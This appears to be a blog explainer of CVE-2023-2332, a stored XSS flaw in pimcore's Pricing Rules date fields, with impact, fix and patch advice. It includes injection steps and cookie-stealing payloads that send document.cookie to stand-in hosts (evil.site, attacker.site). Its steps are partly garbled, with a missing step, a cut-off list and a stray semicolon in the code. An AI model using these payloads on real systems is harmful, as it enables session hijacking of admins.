CVE-2023-2332 is a stored Cross-site Scripting (XSS) vulnerability that affects pimcore/pimcore versions up to 10.5.19. The vulnerability is found in the _Conditions_ tab of _Pricing Rules_, specifically within the “From” and “To” fields under the “Date Range” section. Attackers can exploit this flaw to execute malicious JavaScript in the browsers of unsuspecting users, potentially stealing credentials, hijacking sessions, or redirecting people to harmful sites.

Good news: Version 10.5.21 has patched this issue. If you’re using anything older, update right away!

What’s pimcore?

Pimcore is an open-source platform for managing enterprise digital data (think product management, digital assets, CMS, etc)—used by thousands of companies for building and running e-commerce, websites, and more.

Let’s break it down in plain language

- _Location_: When you create or edit a Pricing Rule in the pimcore admin panel, there’s a Conditions tab.
- _Fields_: Within this, there’s a “Date Range” section where users fill in _From_ and _To_ dates.
- _Vulnerability_: Those date input fields do not sanitize user input correctly on affected versions.
- _Impact_: Any JavaScript code injected here is stored and then run every time an admin (or another user with access) loads the Pricing Rules page.

Step 1: Access to Admin Required

An attacker needs access to the pimcore backend (admin panel). This could be an insider or anyone whose account is compromised.

Instead of a legitimate date, inject a script tag into the From or To field, like so

<script>alert('XSS by CVE-2023-2332')</script>

Or something more dangerous

<img src="x" onerror="fetch('https://evil.site/steal?c='+document.cookie)">

Step 3: Trigger the Payload

Any admin (including the attacker) who visits the _Pricing Rules_ Conditions tab will have the script run in their browser. This could:

For From or To, input

<script>alert('Pwned by CVE-2023-2332')</script>

Screenshot Example (Hypothetical)

Imagine the user interface—now every time anyone loads this part of the page, the injected script runs.

Stored XSS means the script persists—anyone who loads the page is at risk.

- Session Hijacking: If the site uses cookies for authentication, these can be stolen with simple payloads.

How Was It Fixed?

- The vulnerable code in pimcore failed to sanitize the From/To fields.
- In version 10.5.21, the pimcore team properly escapes and sanitizes user-supplied input for these fields, both on storage and display.

Official References

- Pimcore Security Advisory PIMCORE-SA-2023-05
- GitHub Commit Fix (10.5.21)
- CVE Record at NVD

Because this is stored XSS in a business admin panel, it’s not a garden-variety, widespread attack. But:

- If your pimcore instance is accessible from the Internet (bad idea!), this can be a target for attackers.
- XSS payloads can be chained with social engineering: a compromised account adds a script, then tricks a higher-privileged admin into triggering it.

Exploit code could look like this in the wild

<script>
fetch('https://attacker.site/cookie?c='; + encodeURIComponent(document.cookie));
</script>

By passing document.cookie to an attacker-controlled server, an attacker could hijack active sessions.

Conclusion

CVE-2023-2332 is a serious but easily preventable vulnerability if pimcore instances are kept updated. It shows the importance of input validation in web applications—never trust user input, even if it’s from your admins!

Further Reading and Resources

- OWASP XSS Prevention Cheat Sheet
- Pimcore Official Documentation
- List of CVEs for pimcore


Have questions about this vulnerability? Drop your thoughts below and let’s discuss XSS and pimcore security!

Timeline

Published on: 11/15/2024 11:15:08 UTC
Last modified on: 11/15/2024 13:58:08 UTC